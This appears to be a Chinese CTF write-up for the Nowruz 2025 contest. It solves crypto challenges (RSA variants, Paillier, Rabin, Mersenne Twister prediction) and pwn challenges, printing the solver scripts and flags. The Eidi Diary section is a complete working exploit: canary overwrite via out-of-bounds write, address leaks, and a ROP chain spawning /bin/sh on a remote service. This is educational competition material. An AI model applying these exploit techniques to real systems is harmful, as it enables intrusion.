当前位置: 首页 > news >正文

[Nowruz 1404] 2025 Crypto/PWN部分

这两个比赛都不难,简单记录一下。

Crypto

EZ RSA

已知p+q和n=p*q分解

>>> p = (iroot(hint**2 - 4*n,2)[0]+hint)//2
>>> long_to_bytes(pow(c,invert(65537,p-1),p))
b'FMCTF{rSA_34SY_P34SY_L3M0N_5QU33ZY}'

EZ XOR

key与flag异或,key7字节,flag头6字节已知,爆破1字节key

enc = bytes.fromhex('a850d725cb56b0de4fcb40de72a4df56a72ec06cafa75ecb41f51c95')
key = xor(b'FMCTF{', enc[:6])
for i in range(256):
    tk = key + bytes([i])
    print(xor(tk,enc))

#FMCTF{X0R_1S_L1K3_MAGIC_0x1}

seal-the-deal

一个Pillier加密系统,不过与本题无关。

from math import gcd
from Crypto.Util.number import getPrime, inverse
from random import randint
import secrets
import time

with open("flag.txt") as f:
    flag = f.readline()

class Paillier:
    def __init__(self, bits):
        self.bits = bits
        self.pub, self.priv = self.keygen()
    
    def lcm(self, a, b):
        return a * b // gcd(a, b)
    
    def keygen(self):
        while True:
            p = getPrime(self.bits)
            q = getPrime(self.bits)
            if p != q:
                break
        n = p * q
        Lambda = self.lcm(p - 1, q - 1)  
        g = n + 1  
        mu = inverse(Lambda, n) 
        return ((n, g), (Lambda, mu))
    
    def encrypt(self, m):
        (n, g) = self.pub
        n_sq = n * n
        while True:
            r = randint(1, n - 1)
            if gcd(r, n) == 1:
                break
        c = (pow(g, m, n_sq) * pow(r, n, n_sq)) % n_sq
        return c
    
    def decrypt(self, c):
        (n, g) = self.pub
        (Lambda, mu) = self.priv
        n_sq = n * n
        x = pow(c, Lambda, n_sq)  
        m = (((x - 1) // n) * mu) % n  
        return m
    
    def get_keys(self):
        return self.pub, self.priv

if __name__ == "__main__":

    print("Welcome to the Secure Gate Challenge!")
    paillier = Paillier(256)
    pub, priv = paillier.get_keys()
    print('(n,g)=', pub)
    nums = [secrets.randbits(16) for _ in range(4)]
    res = (nums[0] + nums[1]) + (nums[2] - nums[3])

    ciphers = [paillier.encrypt(i) for i in nums] 
    print('c1 =', ciphers[0])
    print('c2 =', ciphers[1])
    print('c3 =', ciphers[2])
    print('c4 =', ciphers[3])

    try:
        start_time = time.time()
        pass_code = int(input("Can you open the gate? If so, insert the passcode fast: "))
        if time.time() - start_time > 60:  
            print("Too slow! Time's up!")
            exit()
        pass_decode = paillier.decrypt(pass_code)
        if res == pass_decode:
            print(f"Wow! You opened it, The flag is: {flag}")
        else:
            print("Nope, Maybe next time :(")
    except Exception as e:
        print("Invalid input or error occurred:", str(e))
        exit()

已知4个nums的密文求res = (nums[0] + nums[1]) + (nums[2] - nums[3])的密文。

c = g^m*r^n => c_res = g^(m0+m1+m2-m3)*r^n = g^m0* g^m1 * g^m2 * g^-m3 *r^n = c0*c1*c2*c3^-1

 

from pwn import *
from gmpy2 import invert

p = remote('seal-the-deal.fmc.tf', 2003)

p.recvuntil(b'(n,g)=')
n,g = eval(p.recvline())
print(n)

p.recvuntil(b'=')
c1 = int(p.recvline())
p.recvuntil(b'=')
c2 = int(p.recvline())
p.recvuntil(b'=')
c3 = int(p.recvline())
p.recvuntil(b'=')
c4 = int(p.recvline())
print(n,c1,c2,c3,c4)

c = c1*c2*c3*invert(c4,n**2)%n**2

p.sendlineafter(b"Can you open the gate? If so, insert the passcode fast: ", str(c).encode())
p.interactive()

#FMCTF{P41ll13r_h0m0m0rph1c_3n4bl35_c0mpu7at10n_0n_c1ph3r5}

Robin’s Mystery

给了密文和证书,并且说明p和q相邻。

import random
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

def nextPrime(prim):
    if isPrime(prim):
        return prim
    else:
        return nextPrime(prim+1)

p = getPrime(512)
q = nextPrime(p+1)
while p%4 != 3 or q%4 !=3:
    p = getPrime(512)
    q = nextPrime(p+1)

n = p*q
m = bytes_to_long( open('flag.txt','rb').read() )

c = pow(m, e, n)

rsa = RSA.construct((n, e))
print(rsa.exportKey().decode())
print(f"cipher: { long_to_bytes(c) }")

证书里有e=16

直接对p,q求根再求crt爆破,感觉有简单题上这个方法比rabin方法容易。

n = 73671169113692412161518091695991074472499960503340036931063401833844789007180020715886458582760614423768286510200921468682879797651585778343666370976746242033960964171883195866661042323420463092656546940842903827382288624493399406855771112920858499309807681038473688274738183488216155275283711673441904987653
enc = b'\x10\xc4\xbf\xfapg\xee\x00\xe4\xcd\x00\xb4i\xf5\x801\xdd\xafm\xb1\xad\x8dy\x01\xaa\x14\xd1\xa3\x14[\xdf\xc8c\xb1\xf4\xcb\xcf\xf0\xf9\x83\x85%\x19\xd2d>N\x9aR\xa4\xba\xc9\xda\xd8\xe4\xa2\x9cg%.\xac\xd7\xb5\x95\x7f\x87\x04?\xf7\xe4\x06(\xe7l\x1c"c\x95\x90z\xd4\x8b\x9f\x1b\x00\xc67\xe4\x82g\xc4b\x10\x8c\xe7s[\x95-TB+Z;\xe4\x00\x11<\xc51K\xec\x94ZL\xb2\xf9\x7fp<\xe6C\xf8\x7f\x90\x0bG\xcf'

q = next_prime(iroot(n,2)[0])
p = n//q
p = 8583191079877717143954293663418499797265896659440705659861607727231607813990404415197156190837935083515591819471515635634480053063098019015612140184864883

c = bytes_to_long(enc)
P.<x> = PolynomialRing(GF(p))
f = x^16 - c
res1 = f.roots()

P.<x> = PolynomialRing(GF(q))
f = x^16 - c
res2 = f.roots()


for i in res1:
  for j in res2:
    m = crt([int(i[0]),int(j[0])],[p,q])
    long_to_bytes(int(m))

#FMCTF{S0lv3d_w1th_R4b1n_fx777}

circular maze

越后边题越简单了,加密方式就是加前一个字符加后一个字符,由于flag头已知,直接从未知部分爆破

flag = "FMCTF{REDACTED}"


def enc(data : str):
    result = []
    for i in range(len(data)):
        result.append(
                    (
                        (
                            ord(data[i - 1]) +
                            ord(data[i]) + 
                        ord(data[(i + 1) % len(data)])
                     ) % 256)
                        .to_bytes() 
                )
                
    return b''.join(result)
print(enc(flag))
open("./flag.enc", "wb").write(enc(flag))
#设置已经部分后爆破
enc = b'\x10\xd6\xe4\xdd\x15#OCL?>20+>>A40-;;@<QB9:IB.444,9U/'
flag = [0]*len(enc)
flag[-1] = ord('}')
for i,v in enumerate(b'FMCTF{'):
    flag[i]=v

l = len(enc)
for i in range(5,l-2):
    for c in range(0x20,0x7f):
        if (flag[i-1]+flag[i]+c)%256 == enc[i]:
            flag[i+1]=c

#FMCTF{broken_circle_is_not_fun_at_all}

Brutal RSA

e=3,猜m的3次幂比n大点有限,爆破

c =  41371441628678749855341069318913940139183366190092850457791401944637484881722387130432528789403867120983310612023037050412981687401539375118177921234958241549652642148049464476777138721957300380163011255302922062871368980358844918698066643476906429304993326666393192819367202508911333287188748033044647
e =  3
n =  125533848452137763185016834412259349043987425043688722410453579918645013940088212764269073831951730407180201649381111989694930753816422349270797992511026080967667823475550286796327579680655909172631694714891168782703472181155691095137469432249992072921349964218538827606766136606019411932023475455088911

>>> for i in range(0x1000000):
...     if iroot(c+i*n,3)[1]:
...         print(iroot(c+i*n,3))
...         print(long_to_bytes(iroot(c+i*n,3)[0]))
...
(mpz(9301534079831286039346266129154850516684651412757139483680870614546154958524604656409095002277116191009), True)
FMCTF{Bru7ef0rce_1s_s0me71mes_4n_effective_W4y!!!}

superguesser

 梅森放置的题,本来不想贴这个,太长了。可后边还有用。

可以提供1000个连续的32位随机数。直接弄到函数里就OK

#!/usr/local/bin/python

import random
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

MAX_ATTEMPTS = 1000

def encrypt_flag(flag):
    key = random.getrandbits(128).to_bytes(16, 'big')
    iv = random.getrandbits(128).to_bytes(16, 'big')
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(flag.encode(), AES.block_size))
    return encrypted

def main():
    random.seed(time.time())
    encrypted_flag = encrypt_flag(open('./flag.txt').read())
    print("\n✨ Welcome to the **Guess the Number Challenge v1**! ✨")
    print("🕵️‍♂️ Can you uncover the secret behind the encrypted flag?")
    print("📜 Use your intelligence, strategy, and the hints provided to succeed!")

    print("Your task: Use your wits and strategy to uncover hints to decrypt the flag.")
    print(f"\nHere is your encrypted flag: \n{encrypted_flag.hex()}")
    print("\nBut don't worry, I'm generous. I've precomputed 1000 random hints for you!")
    print(f"You have {MAX_ATTEMPTS} attempts to guess the right index.\n")
    hints = [random.getrandbits(32) for _ in range(1000)]
    for attempt in range(1, MAX_ATTEMPTS + 1):
        print(f"Attempt {attempt}/{MAX_ATTEMPTS}")
        try:
            index = int(input("Enter an index (0-999): ").strip())
            if 0 <= index < 1000:
                print(f"🔑 Hint at index {index}: {hints[index]}")
            else:
                print("❌ Invalid index! Please enter a number between 0 and 999.\n")
        except ValueError:
            print("❌ Invalid input! Please enter a valid integer.\n")
    print("\n✨ Your attempts are over! But don't give up just yet.")
    print("✨ Your attempts are over! Good luck solving the challenge!\n")
    print("🔍 Don't forget: The key to solving the challenge lies in these random hints. Goodbye!")

if __name__ == "__main__":
    main()

先整个代码把624个数搞下来 

from pwn import *
context.log_level='debug'

p = remote('superguesser.fmc.tf', 2001)

p.recvuntil(b'Here is your encrypted flag: \n')
enc = p.recvline()

hint = []
for i in range(660):
    p.sendlineafter(b"Enter an index (0-999): ", str(i).encode())
    p.recvuntil(b": ")
    hint.append(int(p.recvline()))

print(enc)
print(hint)
open('c4_output.txt','w').write(b"enc ='"+enc.decode()+b"'\nhint="+str(hint).encode())

 然后放函数里恢复state

import random
from extend_mt19937_predictor import ExtendMT19937Predictor

predictor = ExtendMT19937Predictor()

for _ in range(624):
    predictor.setrandbits(hint[_], 32)

for i in range(624):
    predictor.backtrack_getrandbits(32)

iv = predictor.backtrack_getrandbits(128).to_bytes(16, 'big')
key = predictor.backtrack_getrandbits(128).to_bytes(16, 'big')
from Crypto.Cipher import AES
cipher = AES.new(key, AES.MODE_CBC, iv)
m = cipher.decrypt(bytes.fromhex(enc))

#FMCTF{8a78dcb8e926e99a802261bc282aa3af}

superguesser v2

与上题基本相同,只是只提供10个已知的32位数。

由于MT19937算法R[624]是由R[0],R[1],R[397]运算得到,所以只要知道对应位置的3个就能得到一个正确的32数数预测。而key是128需要4个,那就是R0-4,R397-400一共9个就OK

还是先弄个数

from pwn import *
context.log_level='debug'

p = remote('superguesser.fmc.tf', 2002)

p.recvuntil(b'Here is your encrypted flag: \n')
enc = p.recvline()
print(enc)

hint = []
for i in [0,1,2,3,4,397,398,399,400]:
    p.sendlineafter(b"Enter an index (0-624): ", str(i).encode())
    p.recvuntil(b": ")
    hint.append(int(p.recvline()))

print(enc)
print(hint)
open('c6_output.txt','wb').write(b"enc ='"+enc+b"'\nhint="+str(hint).encode())

然后又有个小坑,iv未知,但是8位乘2,所以可以根据头恢复6位,再根据乘2猜剩余两字节。显然这里是MT9937。 

enc = 'aea8c683bb127d54cb80badf2350976b9553fe572cb874f30a690a3e45f03e4f16b646455fc7e648af3b47ff30e21e4e'
hint = [2121643374, 1686915682, 4018945047, 1251881103, 410687675, 635686244, 1192924992, 1232166041, 4164628757]

a = [0]*624
for i,v in enumerate([0,1,2,3,4,397,398,399,400]):
    a[v]=hint[i]

import random
from extend_mt19937_predictor import ExtendMT19937Predictor

predictor = ExtendMT19937Predictor()

for _ in range(624):
    predictor.setrandbits(a[_], 32)

key = predictor.predict_getrandbits(128).to_bytes(16, 'big')
cipher = AES.new(key, AES.MODE_CBC, b'\0'*16)
m = cipher.decrypt(bytes.fromhex(enc))


#用flag头恢复iv
#b' /sq\xa5\xc7\x9d\x969/d\x14\xda\x85\xf8\x93_S33d_Unc0v3r3d}\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
from pwn import xor
iv = xor(m[:8], b'FMCTF{\0\0')
xor(m[:16],iv*2)
#b'FMCTF{\x00\x00_MT199e\x05'
iv = xor(m[8:16], b'_MT19937')
xor(m[:16],iv*2)
b'FMCTF{V2_MT19937'

#FMCTF{V2_MT19937_S33d_Unc0v3r3d}

PWN

Seen Shop

就是买东西花超了就OK,这谁不会呀。

┌──(kali㉿kali)-[~/ctf/2503/utctf]
└─$ nc 164.92.176.247 9000
Shop Menu:
1. Add to Basket
2. Checkout
3. Top up
4. Exit
Enter your choice: 1
Available 7 Seens:
1. Sabzeh - 30000 Toman
2. Senjed - 20000 Toman
3. Seer - 20000 Toman
4. Seeb - 10000 Toman
5. Samanu - 35000 Toman
6. Serkeh - 40000 Toman
7. Sekkeh - 80000000 Toman
Enter item number to add (1-7): 7
Enter quantity: 30
Added 30 Sekkeh(s) to your basket.
Shop Menu:
1. Add to Basket
2. Checkout
3. Top up
4. Exit
Enter your choice: 1
Available 7 Seens:
1. Sabzeh - 30000 Toman
2. Senjed - 20000 Toman
3. Seer - 20000 Toman
4. Seeb - 10000 Toman
5. Samanu - 35000 Toman
6. Serkeh - 40000 Toman
7. Sekkeh - 80000000 Toman
Enter item number to add (1-7): 6
Enter quantity: 11
Added 11 Serkeh(s) to your basket.
Shop Menu:
1. Add to Basket
2. Checkout
3. Top up
4. Exit
Enter your choice: 2
Your Basket:
Serkeh - 11 item = 440000 Toman
Sekkeh - 30 item = -1894967296 Toman
Total: -1894527296
oh... pole ke mirize...
FMCTF{61346013e4b1e77a2f1b3675abc62c62}
Thank you ~~ Have a nice Nowruz!

Seen Guessing

 输入有溢出,溢出到后门就OK

Eidi Diary

这题有点麻烦。

先给了个菜单,可以显示maps但是会退出。所以不是在这里获取地址,而是获取偏移就是各个段的偏移。毕竟它每次启动以后都基本不会变。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+0h] [rbp-120h] BYREF
  int i; // [rsp+4h] [rbp-11Ch]
  FILE *stream; // [rsp+8h] [rbp-118h]
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v8; // [rsp+118h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  while ( 1 )
  {
    puts("Eidi diary");
    puts("1 - Add Eidi");
    puts("2 - View Eidis");
    puts("3 - Exit");
    printf("Enter your choice: ");
    if ( (unsigned int)__isoc99_scanf("%d", &v4) != 1 )
      return 1;
    getchar();
    if ( v4 == 1337 )
    {
      stream = fopen("/proc/self/maps", "r");
      while ( fgets(s, 256, stream) )
        printf("%s", s);
      fclose(stream);
      exit(0);
    }
    if ( v4 > 1337 )
      goto LABEL_21;
    if ( v4 == 3 )
    {
      puts("Exiting!");
      for ( i = 0; i < eidiCount; ++i )
        free(*((void **)&eidiList + 3 * i));
      exit(0);
    }
    if ( v4 > 3 )
    {
LABEL_21:
      puts("Invalid choice. Try again.");
    }
    else if ( v4 == 1 )
    {
      addEidi();
    }
    else
    {
      if ( v4 != 2 )
        goto LABEL_21;
      viewEidis();
    }
  }
}

然后是add和show 由于栈里有残留通过add和show能得到libc和栈地址。

另外在add里有个漏洞,v2是64位的,而比较的时候用的16位word型,所以可以住buf[v2]写0,相当于任意地址写。

unsigned __int64 addEidi()
{
  unsigned __int16 v0; // ax
  __int64 v2; // [rsp+8h] [rbp-A8h] BYREF
  __int64 v3; // [rsp+10h] [rbp-A0h] BYREF
  char *v4; // [rsp+18h] [rbp-98h]
  char buf[136]; // [rsp+20h] [rbp-90h] BYREF
  unsigned __int64 v6; // [rsp+A8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("Enter the length of the giver's name: ");
  __isoc99_scanf("%lu", &v2);
  getchar();
  printf("Enter the name of the giver: ");
  v0 = 256;
  if ( (unsigned __int16)v2 <= 0x100u )
    v0 = v2;
  read(0, buf, v0);
  buf[v2] = 0;
  v4 = strdup(buf);
  printf("Enter the amount received: ");
  __isoc99_scanf("%lf", &v3);
  *((_QWORD *)&eidiList + 3 * eidiCount) = v4;
  qword_4050[3 * eidiCount] = v3;
  *((_WORD *)&unk_4048 + 12 * eidiCount++) = strlen(buf);
  puts("Eidi recorded successfully!");
  return v6 - __readfsqword(0x28u);
}

这个题的难点就在于有溢出但是有canary,所以利用空上buf[v2]=0写fs:0x28处的canary,并同时溢出覆盖栈里的canary 1字节,这样当把canary7字节全部覆盖为0时就能溢出写ROP了。

两个小坑:一是远程的fs在libc前边而且长度也不同,得一个个试才找到,二是栈里的残留不同远程栈地址在很远的地方,也得一个个位置试,不过可选都不多。试几次就OK

from pwn import *
context(arch='amd64', log_level='error')

libc = ELF('./libc.so.6')
elf = ELF('./chall')

def get_maps():
    p.sendlineafter(b"Enter your choice: ", b'1337')
    maps = []
    while True:
        msg = p.recvline()
        maps.append(int(msg.split(b'-')[0],16))
        if b'stack' in msg:
            break
    return maps

def add(msg, size=0x80):
    p.sendlineafter(b"Enter your choice: ", b'1')
    p.sendlineafter(b"Enter the length of the giver's name: ", str(size).encode())
    p.sendafter(b"Enter the name of the giver: ", msg)
    p.sendlineafter(b"Enter the amount received: ",b'1')
    
def show(head):
    p.sendlineafter(b"Enter your choice: ", b'2')
    p.recvuntil(head)


#p = process('./chall')
p = remote('164.92.176.247', 4000)

#先通过栈里残留的指针泄露地址
add(b'A'*8, 0x80)
show(b'A'*8)
ld_base = u64(p.recv(6)+b'\0\0') - 0x5380
print(f"{ld_base = :x}")

#add(b'A'*16, 0x80)
#show(b'A'*16)
#stack = u64(p.recv(6)+b'\0\0') - 0x40
#print(f"{stack = :x}")

add(b'A'*24, 0x80)
show(b'A'*24)
libc.address = u64(p.recv(6)+b'\0\0') - 0x92ef3
print(f"{libc.address = :x}")

add(b'A'*32, 0x80)
show(b'A'*32)
elf.address = u64(p.recv(6)+b'\0\0') - 0x20fd
print(f"{elf.address = :x}")

add(b'A'*0x68, 0x80)
show(b'A'*0x68)
stack = u64(p.recv(6)+b'\0\0') - 0x2e8
print(f"{stack = :x}")

#canary = ld_base - 0xb000 + 0x768
canary = libc.address - 0x3000 + 0x768
print(f"{canary = :x}")

context.log_level='debug'
#get_maps()

#add(b'\0'*(0x90), canary-stack+1)
#gdb.attach(p, "b*0x5555555553a4\nc")
#erase canary
for i in range(7):
    add(b'\0'*(0x8a+i), canary-stack+1+i)

#gdb.attach(p, "b*0x5555555554b4\nc")
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
add(b'\0'*0x90+ flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')) ,libc.sym['system']), 0x100)


#gdb.attach(p)
#pause()

p.interactive()
#FMCTF{23872be04d6f9abca4ab019333546a4f}
'''
    b'619ffb0af000-619ffb0b0000 r--p 00000000 00:2f 529840                     /home/user/chall\n'
    b'619ffb0b0000-619ffb0b1000 r-xp 00001000 00:2f 529840                     /home/user/chall\n'
    b'619ffb0b1000-619ffb0b2000 r--p 00002000 00:2f 529840                     /home/user/chall\n'
    b'619ffb0b2000-619ffb0b3000 r--p 00002000 00:2f 529840                     /home/user/chall\n'
    b'619ffb0b3000-619ffb0b4000 rw-p 00003000 00:2f 529840                     /home/user/chall\n'
    b'61a033a30000-61a033a51000 rw-p 00000000 00:00 0                          [heap]\n'
    b'7c3fc86d2000-7c3fc86d5000 rw-p 00000000 00:00 0 \n'     <----- 远程的在这
    b'7c3fc86d5000-7c3fc86fd000 r--p 00000000 00:2f 528641                     /usr/lib/x86_64-linux-gnu/libc.so.6\n'
    b'7c3fc86fd000-7c3fc8885000 r-xp 00028000 00:2f 528641                     /usr/lib/x86_64-linux-gnu/libc.so.6\n'
    b'7c3fc8885000-7c3fc88d4000 r--p 001b0000 00:2f 528641                     /usr/lib/x86_64-linux-gnu/libc.so.6\n'
    b'7c3fc88d4000-7c3fc88d8000 r--p 001fe000 00:2f 528641                     /usr/lib/x86_64-linux-gnu/libc.so.6\n'
    b'7c3fc88d8000-7c3fc88da000 rw-p 00202000 00:2f 528641                     /usr/lib/x86_64-linux-gnu/libc.so.6\n'
    b'7c3fc88da000-7c3fc88e7000 rw-p 00000000 00:00 0 \n'
    b'7c3fc88e9000-7c3fc88eb000 rw-p 00000000 00:00 0 \n'
    b'7c3fc88eb000-7c3fc88ec000 r--p 00000000 00:2f 528635                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
    b'7c3fc88ec000-7c3fc8917000 r-xp 00001000 00:2f 528635                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
    b'7c3fc8917000-7c3fc8921000 r--p 0002c000 00:2f 528635                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
    b'7c3fc8921000-7c3fc8923000 r--p 00036000 00:2f 528635                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
    b'7c3fc8923000-7c3fc8925000 rw-p 00038000 00:2f 528635                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
    b'7ffee61de000-7ffee61ff000 rw-p 00000000 00:00 0                          [stack]\n'
    b'7ffee6377000-7ffee637b000 r--p 00000000 00:00 0                          [vvar]\n'
    b'7ffee637b000-7ffee637d000 r-xp 00000000 00:00 0                          [vdso]\n'
    b'ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]\n'


pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
    0x555555555000     0x555555556000 r-xp     1000   1000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
    0x555555556000     0x555555557000 r--p     1000   2000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
    0x555555557000     0x555555558000 r--p     1000   2000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
    0x555555558000     0x555555559000 rw-p     1000   3000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
    0x555555559000     0x55555555b000 rw-p     2000   5000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
    0x7ffff7c28000     0x7ffff7db0000 r-xp   188000  28000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
    0x7ffff7db0000     0x7ffff7dff000 r--p    4f000 1b0000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
    0x7ffff7dff000     0x7ffff7e03000 r--p     4000 1fe000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
    0x7ffff7e03000     0x7ffff7e05000 rw-p     2000 202000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
    0x7ffff7e05000     0x7ffff7e12000 rw-p     d000      0 [anon_7ffff7e05]
    0x7ffff7fba000     0x7ffff7fbf000 rw-p     5000      0 [anon_7ffff7fba]    <------- 本地的地这
    0x7ffff7fbf000     0x7ffff7fc3000 r--p     4000      0 [vvar]
    0x7ffff7fc3000     0x7ffff7fc5000 r-xp     2000      0 [vdso]
    0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000      0 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
    0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000   1000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000  2c000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  36000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  38000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]


pwndbg> tel 30
00:0000│ rsp     0x7fffffffdac0 ◂— 8
01:0008│-0a8     0x7fffffffdac8 —▸ 0x7fffffffdb80 ◂— 1
02:0010│-0a0     0x7fffffffdad0 ◂— 0
03:0018│-098     0x7fffffffdad8 ◂— 0
04:0020│ rax rsi 0x7fffffffdae0 ◂— 0x13
05:0028│-088     0x7fffffffdae8 —▸ 0x7ffff7fca380 ◂— endbr64 
06:0030│-080     0x7fffffffdaf0 —▸ 0x7fffffffdb20 —▸ 0x7fffffffdb70 —▸ 0x7fffffffdca0 —▸ 0x7fffffffdd40 ◂— ...  远程没有这个指针
07:0038│-078     0x7fffffffdaf8 —▸ 0x7ffff7c92ef3 (_IO_file_overflow+259) ◂— cmp eax, -1
08:0040│-070     0x7fffffffdb00 —▸ 0x5555555560fd ◂— '3 - Exit'
09:0048│-068     0x7fffffffdb08 ◂— 8
0a:0050│-060     0x7fffffffdb10 —▸ 0x5555555560fd ◂— '3 - Exit'
0b:0058│-058     0x7fffffffdb18 —▸ 0x7ffff7e045c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
0c:0060│-050     0x7fffffffdb20 —▸ 0x7fffffffdb70 —▸ 0x7fffffffdca0 —▸ 0x7fffffffdd40 —▸ 0x7fffffffdda0 ◂— ...
0d:0068│-048     0x7fffffffdb28 —▸ 0x7ffff7c87dda (puts+506) ◂— cmp eax, -1
0e:0070│-040     0x7fffffffdb30 ◂— 0
0f:0078│-038     0x7fffffffdb38 —▸ 0x7ffff7e045c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
10:0080│-030     0x7fffffffdb40 —▸ 0x7fffffffdb70 —▸ 0x7fffffffdca0 —▸ 0x7fffffffdd40 —▸ 0x7fffffffdda0 ◂— ...
11:0088│-028     0x7fffffffdb48 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe162 ◂— '/home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall' #远程本地都有
12:0090│-020     0x7fffffffdb50 ◂— 1
13:0098│-018     0x7fffffffdb58 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe162 ◂— '/home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall'
14:00a0│-010     0x7fffffffdb60 ◂— 1
15:00a8│-008     0x7fffffffdb68 ◂— 0x1253858cf2cb3f00
16:00b0│ rbp     0x7fffffffdb70 —▸ 0x7fffffffdca0 —▸ 0x7fffffffdd40 —▸ 0x7fffffffdda0 ◂— 0
17:00b8│+008     0x7fffffffdb78 —▸ 0x5555555556c2 (main+286) ◂— jmp 0x5555555557c4


pwndbg> search -8 0x1253858cf2cb3f00
Searching for value: b'\x00?\xcb\xf2\x8c\x85S\x12'
[anon_7ffff7fba] 0x7ffff7fba768 0x1253858cf2cb3f00
[stack]         0x7fffffffd998 0x1253858cf2cb3f00
[stack]         0x7fffffffd9f8 0x1253858cf2cb3f00
[stack]         0x7fffffffda58 0x1253858cf2cb3f00
[stack]         0x7fffffffdb68 0x1253858cf2cb3f00
[stack]         0x7fffffffdc98 0x1253858cf2cb3f00
[stack]         0x7fffffffdd38 0x1253858cf2cb3f00
pwndbg> x/20gx 0x7ffff7fba730
0x7ffff7fba730: 0x0000000000000000      0x0000000000000000
0x7ffff7fba740: 0x00007ffff7fba740      0x00007ffff7fbb0e0
0x7ffff7fba750: 0x00007ffff7fba740      0x0000000000000000
0x7ffff7fba760: 0x0000000000000000      0x1253858cf2cb3f00
0x7ffff7fba770: 0x14b7f5084cf5913c      0x0000000000000000
0x7ffff7fba780: 0x0000000000000000      0x0000000000000000
0x7ffff7fba790: 0x0000000000000000      0x0000000000000000
'''

相关文章:

  • 三月九次前端面试复盘:当场景题成为通关密钥
  • 使用 EchoAPI 实现 API 断言的全面指南
  • vulhub/Billu_b0x靶机----练习攻略
  • c盘清理宝藏小工具
  • 使用Trainer传入自定义的compute_metrics函数时,oom报错
  • Diffusion Transformers (DiTs) - 用Transformer革新Diffusion模型
  • 构建高可靠NFS存储:自动化挂载保障机制的设计与优势
  • 【Vuex:在带命名空间的模块内访问全局内容】
  • Docker运行postgreSQL,由于异常启动或者退出后,提示could not locate a valid checkpoint record
  • JS—事件委托:3分钟掌握事件委托
  • vlan初学的总结
  • NLP高频面试题(四)——BN和LN的区别与联系,为什么attention要用LN
  • Visual Studio2022 中的键盘注释快捷方式
  • 多线程(四)----线程安全
  • 力扣刷题994. 腐烂的橘子
  • 比特币牛市还在不在
  • 「Wi-Fi学习」节能模式
  • Java常用类
  • Android第四次面试总结(基础算法篇)
  • LeetCode-274.H 指数
  • 习近平圆满结束对俄罗斯国事访问并出席纪念苏联伟大卫国战争胜利80周年庆典
  • 国家主席习近平会见斯洛伐克总理菲佐
  • 理财经理泄露客户信息案进展:湖南省检受理申诉,证监会交由地方监管局办理
  • 国家税务总局泰安市税务局:山东泰山啤酒公司欠税超536万元
  • 【社论】以法治力量促进民企长远健康发展
  • 圆桌丨权威专家解读中俄关系:在新形势下共同应对挑战、共创发展机遇